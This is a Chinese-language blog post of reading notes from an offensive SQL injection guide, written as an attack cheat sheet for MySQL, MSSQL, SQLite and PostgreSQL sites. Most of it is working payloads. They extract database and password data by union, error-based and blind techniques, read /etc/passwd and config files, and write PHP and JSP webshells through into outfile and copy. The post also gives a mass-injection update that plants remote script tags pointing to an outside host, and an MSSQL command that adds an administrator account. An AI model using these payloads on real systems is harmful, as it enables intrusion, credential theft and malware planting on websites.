SQL_Injection_Base_by_Silic读书摘要
摘自:《SQL_Injection_Base_by_Silic》
php網站:/**/、/*asdfa*/可替換空格
猜表段:
id=0/*abc*/union/*aa*/select/*asdf*/1,2,3,4,5/*id=-11/**/union/*aa*/select/*asdf*/1,2,3,4,5/*id=123/*abc*/and/*a*/1=2/**/union/*aa*/select/*asdf*/1,2,3,4,5/*表段名:假設表段名為admin,?????????
如果能顯錯,即可得到真的表段名
Mysql 5.x?都有的獨立數據庫?mysql?其中?user?表段存有用戶部分信息?其中?user、password、host(如果是localhost,表示只能本機登陸,可另外找是否有phpmyadmin)、file_priv(規定用戶是否可以讀硬盤里面的文件)
mysql 5.x及以上可以爆表爆字段;4.x爆出來解不了(5.x有information_schema,而4.x沒有)
注入語句格式:
union+select+1,2,3,xo,5+from+xxoo(參數使用位置xo,如concat(user,0x3a,version)、concat(username,0x5c,password)、concat(user,0x5f,version)、concat(user,0x3c62723e,version)、concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema))。。。。。。)
常用參數:
user():格式為root1@localhost、root2@mysss(mysss為服務器名)、root3@192.111.1.1
database():當前數據庫名
version():當前使用數據庫版本
@@datadir:數據路徑
concat():聯合數據
group_concat():通常格式有group_concat(DISTINCT+user,0x3a,password),concat只能一次一條,group_concat可以一次多條
concat_ws():concat的特殊形式,使用方法concat_ws(separator,str1,str2,...)
hex()和unhex():如union+select+hex(password)+from+mysql.user、hex(user())、hex(database())
load_file():使用前提你的用戶名對應的file_priv設為Y,以文本方式讀取文件,如:linux系統load_file('/etc/passwd')?? windows系統load_file('c:\\boot.ini')、union+select+1,load_file(0x633a5c5c626f6f742e696e69)其中0x633a5c5c626f6f742e696e69為c:\\boot.ini的hex編碼以躲避php網站gpf設為on的情況
使用前提gpf設置為off,file_priv設為Y,已知網站路徑,有寫權限。用法:+union+select+webshell的hex編碼+into+outfile+'網站物理路徑\\a.php'
假如網站原始查詢語句后有order by、desc等要用/* 或--結束后面的語句,如
id=12+union+select+1,2,3,4+from+admin--id=12+union+select+1,2,3,4+from+admin/*萬能密碼admin'or'1'='1、admin'or 1=1#用戶名admin'/*kkk密碼kkk*/'
php+mysql注入查表語句與查字段語句
格式:
+union?select?1,2,3,table_name?from?(select?*?from?information_schema.tables?wheretable_schema=數據庫名的hex?order?by?table_schema?limit?0,1)t?limit?1當前數據庫名直接database(),即數據庫名的hex用hex(database())替換就可以了,其他數據庫名字從MySql.db查database()
limit 0,1可換為1,2、2,3、3,4 .....
如:
id=5+and+1=2+union+select+1,2,3,table_name,5,6+from+(select+*+from+information_schema.tables +where+table_schema=0x74657374+order+by+table_schema+limit+13,1)+limit+1--其中0x74657374為數據庫test的hex
(知道表名之后,用+union select 1,2,xo,4 from xxoo的格式可爆字段再爆值)
查字段格式
+union?select?1,2,3,column_name?from?(select?*?from?information_schema.columns?wheretable_name=爆出來的表名的hex?and?table_schema=數據庫名的hex?order?by?1?limit?2,1)t?limit?1--已測試,下面兩種都可以一次列出所有數據庫的名稱
一次列出某個數據庫里所有表段的名稱
id=22+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+table_name)+from +information_schema.columns+where+table_schema=0x64625F6368696E615F717562616E5F636E其中0x64625F6368696E615F717562616E5F636E是這個數據庫的名稱的hex,如果是當前庫,直接hex(database())
一次列出某個表段里所有字段的名稱
id=22+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+column_name)+from +information_schema.columns+where+table_name=0x61646D696E其中0x61646D696E表名的hex
如果知道了絕對路徑,又有load_file的權限,就可使用load_file
其中0x433a5c77616d705c7777775c627574636865725c636f6e6669672e706870是C:\wamp\www\butcher\config.php的hex,得到一串字符串之后用winhex轉換格式就可知道配置文件中的用戶名、密碼、數據庫名等
爆數據庫密碼兩種途徑:1、從數據庫爆;2、從文件爆
(1)
id=9+1=2+union+select+1,concat(user,0x5f,password),3,4,5+from+mysql.user(2)
load_file
用工具連接數據庫執行sql語句獲得webshell:
create table test(a text);
select a from mysql.test into outfile 'D:\\hdgl\\atesttest.php';
mysql輸出文件時,會把回車換成\n,所以一般寫入小馬,就算寫大馬,也要在每行結尾加上/*,每行開頭加上*/注釋掉\n。
注入中的大愛Tomcat+jsp+Mysql
(Tomcat需要system或root權限,jsp+Mysql通常是root權限)
如果顯錯中host為%表示可以外鏈Mysql數據庫
連接后確認為root權限,可執行sql語句,來獲取webshell:
select jsp一句話的hex?into outfile '/路徑/webshell.jsp';
讀取/etc/passwd文件,獲得敏感路徑/var/www和/home/criterion后加/public_html和/htdocs都不是網站路徑,之后,讀Tomcat的敏感文件,從select load_file('/etc/profile');獲得Tomcat的路徑,然后在路徑下的/conf/server.xml獲得網站路徑。
hex()?可解決注入編碼不同而無法顯示的問題(特別是遇到國外網站)
如:
id=1+and+1=2+union+select+1,2,3,4,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),6/*然后對顯示的字符串unhex()
或者是用?convert()
一個不常見的情況(問題發生原因:存在sql注入的頁面中的sql語句,它所在的表段中,有一個字段是非數字型。一旦用union select?數字,數字,數字...來替換order by就會跳轉):
www.d.com/n.php?hand=det&id=12'order+by+13%23???????????????正常注入點確認為字符型,字段數為13
www.d.com/n.php?hand=det&id=0'union+select+1,2,3,4,5,6,7,8,9,0,11,12,13%23 3號位置有異常,頁面跳轉至3 www.d.com/3解決方法:用null替換3號位的數字
www.d.com/n.php?hand=det&id=0'union+select+1,2,null,4,5,6,7,8,concat(database(),0x3a,user(), 0x3a,version(),0x3a,@@datadir),0,11,12,13%23遇到網站使用后置寫法,
如:
訪問
顯錯為:
SELECT?main.*?FROM?"numbers"?main?WHERE?123'=main.id?Number?123'?not?found?in?the?database倒著注入如:
n.php?id=1+and+123上面說過mysql 5.x一次爆出表段的格式,現在是土耳其***的格式:
select+GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.columns+where+ table_schema=database()MySQL的幾個參數
@@version_comment??????????????判斷是源代碼還是已編譯文件
@@datadir??????????????????????????????? 數據地址
@@tmpdir????????????????????????????????臨時文件地址
@@version???????????????????????????????mysql的版本
user()
database()
@@version_compile_os????????????判斷系統類型
@@version_compile_machine??判斷32位還是64位
@@warning_count??????????
@@system_time_zone???????????????時區
@@query_cache_size?????????????????內存實際消耗
如:
e.php?s=dir&n=-2+union+select+1,2,concat(@@version_comment,0x5c,@@datadir,0x5c,@@tmpdir,0x5c, @@version,0x5c,user(),database(),0x5c,@@version_compile_os,0x5c,@@version_compile_machine, 0x5c,@@warning_count,0x5c,@@system_time_zone,0x5c,@@query_cache_size),4,5,6錯誤回顯的兩個類型:(1)MySQL錯誤回顯,php提示MySQL語句哪里出錯;(2)php錯誤回顯,顯示某個文件哪一行出錯
在知道字段數,但無顯示位回顯的情況下,可考慮用MySQL錯誤回顯注入法
公式的格式:
union?select?1?from?(select+count(*),concat(floor(rand(0)*2),(注入爆數據語句))a?from? information_schema.tables?group?by?a)b后面可添加/*、--、%23來注釋掉后面部分
注入爆數據語句的基本格式:select xx from yy? 注意:每次只能爆單條數據,不能update、不能select into 、不能insert、不能load_file()、不能group_concat()、有的concat()也不能
如果爆數據后面就要加limit a,b? 其中limit a,b為從第a條開始(從0開始),b為一共幾條(但這里只能是1),如:limit 0,1、limit 1,1、limit 2,1、limit 3,1?? ......
如:
d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a, database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+from+information_schema.tables+ group+by+a)b爆所有數據庫:
d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_schema+ from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+ information_schema.tables+group+by+a)b或
將0,1換為1,1、2,1、3,1、4,1? ....
類似爆表段
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+ from+information_schema.columns+where+table_schema=0x356570655f61646d696e+limit+0,1))a+from+ information_schema.tables+group+by+a)b將0,1換為1,1、2,1、3,1、4,1? ....
0x356570655f61646d696e為數據庫名的hex
類似爆字段的格式:
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+ from+information_schema.columns+where+table_name=0x356570aassfffffssee+limit+0,1))a+from+ information_schema.tables+group+by+a)b將0,1換為1,1、2,1、3,1、4,1? ....
0x356570aassfffffssee為表段名的hex
爆數據:
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a, adminname,0x3a,adminpass)+from+5epe+limit+0,1))a+from+information_schema.tables+group+by+a)b5epe為表名
后臺登陸框post錯誤回顯注入
用弱口令試登后臺,有數據庫顯錯,
在用戶名處寫:
admin'?union?select?1?from?(select?count(*),concat(floor(rand(0)*2),(select?user()?frommysql.user?limit?0,1))a?from?information_schema.tables?group?by?a)b#又遇到javascript限制長度,自己寫個html提交
顯錯中有?Duplicate entry '1bizpoten@203.153.13.123' for key
其中user()就是bizpoten@203.153.13.123(去掉固定的1)
類似之前的爆數據庫中的表段:
admin'?union?select?1?from?(select?count(*),concat(floor(rand(0)*2),(select?table_name?frominformation_schema.tables?where?table_schema=database()?limit?0,1))a?from?information_schema.tablesgroup?by?a)b#MySQL盲注
c.php?s=admin
回顯:用戶已注冊
c.php?s=admin'回顯:select userid from demob where user='admin''You have an error,表示沒過濾直接帶入MySQL執行
看版本:
c.php?s=admin'and+left(version(),1)=5%23回顯:用戶已注冊???即知道版本為5成立
c.php?s=admin'and+length(database())=6%23c.php?s=admin'and+left(database(),1)='l'%23c.php?s=admin'and+left(database(),2)='li'%23
直到6,就可知道數據庫名
這里假設pass字段與userid字段同在demob表里面,所以不用再帶select語句
MySQL數據庫中將執行select userid from demob where user='admin'and length(pass)=32#
其他表:
c.php?s=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<20%23base64變形注入,要遇到給輸入進行base64加密的網站,類似也應該會有其他加密方式,給輸入進行相應加密注入即可。
如:
s.php?id=MTM=還原加上'測試:
s.php?id=MTMnphp+mssql
爆字段:
table=p&id=12+and+1=1+union+all+select+null,null,null,null?????????????加了4個null,回到正常頁面了找顯示位:把1=1換成1=2,挨個將null換成數字,出錯換回null
2為顯示位
這里開始就與php+MySQL不同了,爆當前庫名:
table=p&id=12+and+1=2+union+all+select+1,@@version,null,3table=p&id=12+and+1=2+union+all+select+1,db_name(),null,3通過數據庫id獲得數據庫名:
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+ dbid=1--table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+ dbid=2--然后3,4,5 。。。
爆表名:
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwi.dbo.sysobjects+where+ xtype=CHAR(85)?and?name?not?in?(select?top?1?name?from?Northwi.dbo.sysobjects?where?xtype =CHAR(85))--Northwi.dbo.sysobjects 為 數據庫名.dbo.sysobjects,如果不是當前數據庫,那就成了跨庫查詢,可能設置了主機權限不讓跨庫查詢;
top 1?為表的序號,可換為2,3,4,5。。。
爆字段:(這里的top 15?為前面top出的表 )
獲得總序號2073058421
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwi.dbo.sysobjects+where+ ID=2073058421?and?name?not?in?(select?top?1?name?from?Northwi.dbo.sysobjects?where?ID=2073058421)--top 1?為字段的序號,可換為2,3,4,5。。。
最后內容:
table=p&id=12+and+1=2+union+all+select+1,title,null,3+from+Northwi..landed--Northwi..landed?為?數據庫名..表明,title為字段名
LizaMoon注入,批量掛馬腳本(對象Mssql+aspx):
首先查詢獲得表段名,然后
或
s.aspx?id=100?update?[YOURTABLE]?set?AltText=REPLACE(cast(AltText?as?varchar(8000)), cast("</tilte><script?src="http://b.com/u.php"></script>"?as?varchar(8000)),cast(char(32)as?varchar(8)))--或
s.aspx?id=100?update?[YOURTABLE]?set?AltText=REPLACE(cast(AltText?as?varchar(8000)), cast(CHAR(60)+CHAR(47)+CHAR(116)+CHAR(105)+CHAR(108)+CHAR(116)+CHAR(101)+CHAR(62)+CHAR(60)+ CHAR(115)+CHAR(99)+CHAR(114)+CHAR(105)+CHAR(112)+CHAR(116)+CHAR(32)+CHAR(115)+CHAR(114)+ CHAR(99)+CHAR(61)+CHAR(34)+CHAR(104)+CHAR(116)+CHAR(116)+?CHAR(112)+CHAR(58)+CHAR(47)+ CHAR(47)+CHAR(98)+CHAR(46)+CHAR(99)+CHAR(111)+CHAR(109)+CHAR(47)+CHAR(117)+CHAR(46)+ CHAR(112)+CHAR(104)+CHAR(112)+CHAR(34)+CHAR(62)+CHAR(60)+CHAR(47)+CHAR(115)+CHAR(99)+ CHAR(114)+CHAR(105)+CHAR(112)+CHAR(116)+CHAR(62))?as?varchar(8000)),cast(char(32)as?varchar(8)))--MSSQL提權
執行sql命令
declare?@shell?int?exec?sp_oacreate?'wscript.shell',@shell?output?exec?sp_oamethod?@shell, 'run',null,'d:\\cmd.exe?/c?net?localgroup?administrators?silic?/add'需要支持wscript,d:\\cmd.exe為上傳的cmd地址,/c后執行cmd命令
sqlite+php
判斷字段數:
pr.php?id=0'union+select+1,2,3,4,5,6????????????或 pr.php?id=0'union+select+1,2,3,4,5,6--sqlite有個表sqlite_master,表中有字段:type,name,tbl_name,rootpage,sql,
pr.php?id=0'union+select+1,2,3,4,5,6,7,sql,8,9+from+sqlite_master--回顯為create table sqlite_sequence(name,seq)
pr.php?id=0'union+select+1,2,3,4,5,6,7,sql,8,9+from+sqlite_master+limit+2,1--回顯為create table [yelx]([id] INTERGER PRIMARY KEY NOT NULL,[title] TEXT NULL,[time] VARCHAR(30) NULL)
通過改limit 2,1?為 3,1 ?? 4,1?? 5,1 ...
獲得其他數據庫創建的歷史sql語句
PostgreSQL注入語句
顯示版本
version()
爆數據
union?select?1,2,3,4,5,aa,6?from?bb?where?cc=dd列庫
union?select?1,2,3,4,5,datname?from?pg_database列表段
union?select?1,2,3,4,5,relname?from?pg_stat_tables?limit?1?offset?3其中limit 1 offset 0等同于limit 0,1
列字段
union?select?1,2,3,4,5,column_name?from?information_schema.columns?where?table_name=0x3a7777hh? limit?1?offset?5讀配置文件
union?select?1,2,3,4,5,usename,passwd?form?pg_shadow其中pg_shadow相當于MySQL中的mysql數據庫,root用戶為postgre
讀文件
create?table?test(code?text); copy?test?from?'/etc/passwd'with?delimiter?E'\t';或
select?pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'))其中pg_file_read()相當于MySQL中的load_file()
在postgre 8.x到9.x說引號無效,應用單引號
寫文件
insert?into?test?value('<?php?eval($_POST["cmd"]);?>'); copy?test(code)?to?"?/var/www/one.php";找注入點
id=12?and?1=1?????????或?????????id=12?aNd(3=3)????? id=12?and?1=2????????????????????id=12?aNd(3=4)猜字段
id=12?order?by?12--數據庫長度
數據庫名
id=12?and?(select?ascii(substr(current_database(),1,1)))?between?7?and?130 id=12?and?(select?ascii(substr(current_database(),1,1)))?between?117?and?117表的數量
第一個表的長度
id=12?and?(select?length(relname)?from?pg_stat_user_tables?limit?1?OFFSET?0)?between?0?and?30第二個表的長度
id=12?and?(select?length(relname)?from?pg_stat_user_tables?limit?1?OFFSET?1)?between?0?and?30第一個表名
爆字段
id=123+and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+ table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)+limit+1+ OFFSET+0)+between+0+and+256其中chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)為表名的chr()
字段名
id=12+and+(select+ascii(substr(ssee,1,1))+from+iioo+limit+1+OFFSET+0)+between+0+210其中ssee為字段名,iioo為表名
判斷是否是php+PostgreSQL的搭配
加個'
回顯中有pg_query
字段數與字段間編碼問題
id=2?order?by?10?????????或 id=0+union+select+null,null,null,null,null,null,null,null,null之后一個個試找回顯為時可以選數字或字母,如
id=0+union+select+1,'a',null,2,3,null????在有魔術引號的情況下,'a'會被轉義,用下面的 id=0+union+select+1,version,null,2,3,null注釋符
PostgreSQL注釋符不是#,不是/*,不是%23,而是--或%2b%2b
--或%2b%2b在MySQL、MSSQL、SQLite、PostgreSQL都通用
PostgreSQL的管理員賬號為postgres(類似于MySQL的root,MSSQL的sa);
根數據庫為postgres(類似于MySQL的mysql,MSSQL的master)
phpMyAdmin寫webshell
在mysql數據庫的console里導入馬
遇到outfile成功,但無法load_file的,建表
create?table?test?(a?text); insert?into?test?(a)?values?(load_file('c:\\boot.ini')); select?*?from?test;轉載于:https://blog.51cto.com/maxvision/1694424
總結
以上是生活随笔為你收集整理的SQL_Injection_Base_by_Silic读书摘要的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: AOP的理解以及实现
- 下一篇: 一个算法笨蛋的12月leetCode刷题